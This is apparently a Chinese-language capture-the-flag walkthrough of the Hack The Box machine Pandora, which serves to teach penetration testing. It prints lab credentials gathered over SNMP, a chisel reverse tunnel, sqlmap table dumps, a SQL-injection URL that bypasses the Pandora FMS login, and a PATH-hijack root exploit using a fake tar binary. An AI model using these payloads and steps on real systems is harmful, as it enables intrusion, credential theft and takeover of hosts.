HTB靶机:Pandora

image-20220211160540921

信息收集

#使用 nmap对靶机进行端口扫描并保存到nmap文件中
nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.136 -oN ./nmap.txt

发现目标开启22,80端口

image-20220211140814557

在对网站功能测试后,发现没有什么利用的,可能就是一个静态页面,因此使用工具对网站目录进行枚举。发现存在一个assets的目录。测试也没有可利用的。

image-20220211140907401

image-20220211141000000

重新使用nmap对靶机进行udp探测

nmap -sC -sV -sU -top-ports=20 pandora.htb -oN >./udp

image-20220211141614009

发现靶机开启snmp服务,我们尝试监听改服务

sudo snmpwalk -v 2c pandora.htb -c public > snmp

过滤查询获得用户名和密码:

image-20220211143040228

daniel
HotelBabylon23

尝试进行ssh登录

image-20220211143313199

登录成功!现如今获取到一个用户shell,但是该用户没有任何文件,我们切换到home文件夹下,我们发现存在一个matt用户。且我们没法进入matt,接下来我们目标很明确,我们就是尝试获取到matt的shell。

image-20220211143640913

我们将linpeas下载到该主机上。发现本地跑的有服务,我们这里尝试将流量转发到我们本机。

image-20220211145611014

ssh -L 80:127.0.0.1:80 daniel@pandora.htb
#或者使用chisel进行流量转发
#kali
sudo ./chisel server -p 8000 --reverse ###本地必须开sudo,要不没法转发
#目标机器
./chisel client 10.10.14.31:8000 R:80:127.0.0.1:80

image-20220211151659332

进行本地服务扫描,发现只存在这个界面,然后我们查询版本号,查询相关漏洞。

rustscan -a 127.0.0.1 #使用rustscan更快点

image-20220211152256575

相关漏洞:https://nvd.nist.gov/vuln/detail/CVE-2020-26518#range-6019001

分析:https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

poc但是,是msf的,我不想用msf:https://packetstormsecurity.com/files/158390/Pandora-FMS-7.0-NG-7XX-Remote-Command-Execution.html

我们这里使用这个exp:

#先sqlmap尝试(本题可有可没有)
1.
└─#sqlmap -u "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1" --batch --dbms=mysql -D pandora -T tsessions_php -C id_session,data --dump
2.
└─# sqlmap -u "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1" --batch --dbms=mysql -D pandora -T tpassword_history -C id_pass,id_user,data_end,password,data_begin --dump
#然后尝试浏览器直接拼接成以下exp:
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO

#最后直接访问:
http://127.0.0.1/pandora_console

通过以上操作,我们就可以进入后台

image-20220211153126061

到了后台我们可以发现存在文件上传漏洞,我们编写反弹shell。

image-20220211153242535

成功弹回shell。如果机器存在,我们利用python来获取一个完整的交互式shell

image-20220211153820937

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20220211154212685

到了这里我们就获取到matt的shell了。

image-20220211154311631

提权

我们利用linpeas时,发现可以写ssh。那么我们可以利用这个提权。

image-20220211154445861

上面的/usr/bin/pandora_backup可利用。

#生成ssh
ssh-keygen
#公钥自动验证登录
cat id_rsa.pub > authorized_keys
#给权限
chmod 700 authorized_keys #这里怕复制错,可以使用python开一个服务,将私钥下载到本地

#链接端,下载生成的id_rsa,给权限
chmod 700 id_rsa
#ssh连接
ssh matt@pandora.htb -i id_rsa

image-20220211155515543

matt的用户目录,然后创建一个假的tar可执行文件,并将matt的家路径注入PATH变量中,然后运行/usr/bin/pandora_backup文件,成功提权到root用户

(查看pandora_backup文件可知,他是一个具有解压功能的脚本)

cd /home/matt/
echo "/bin/bash" > tar
chmod +x tar
export PATH=/home/matt:$PATH

image-20220211160151191

结语:

这个靶机偏向探测这块,从docker进去,到把内网流量转发出来,进行提权。很有意思。

image-20220210164439273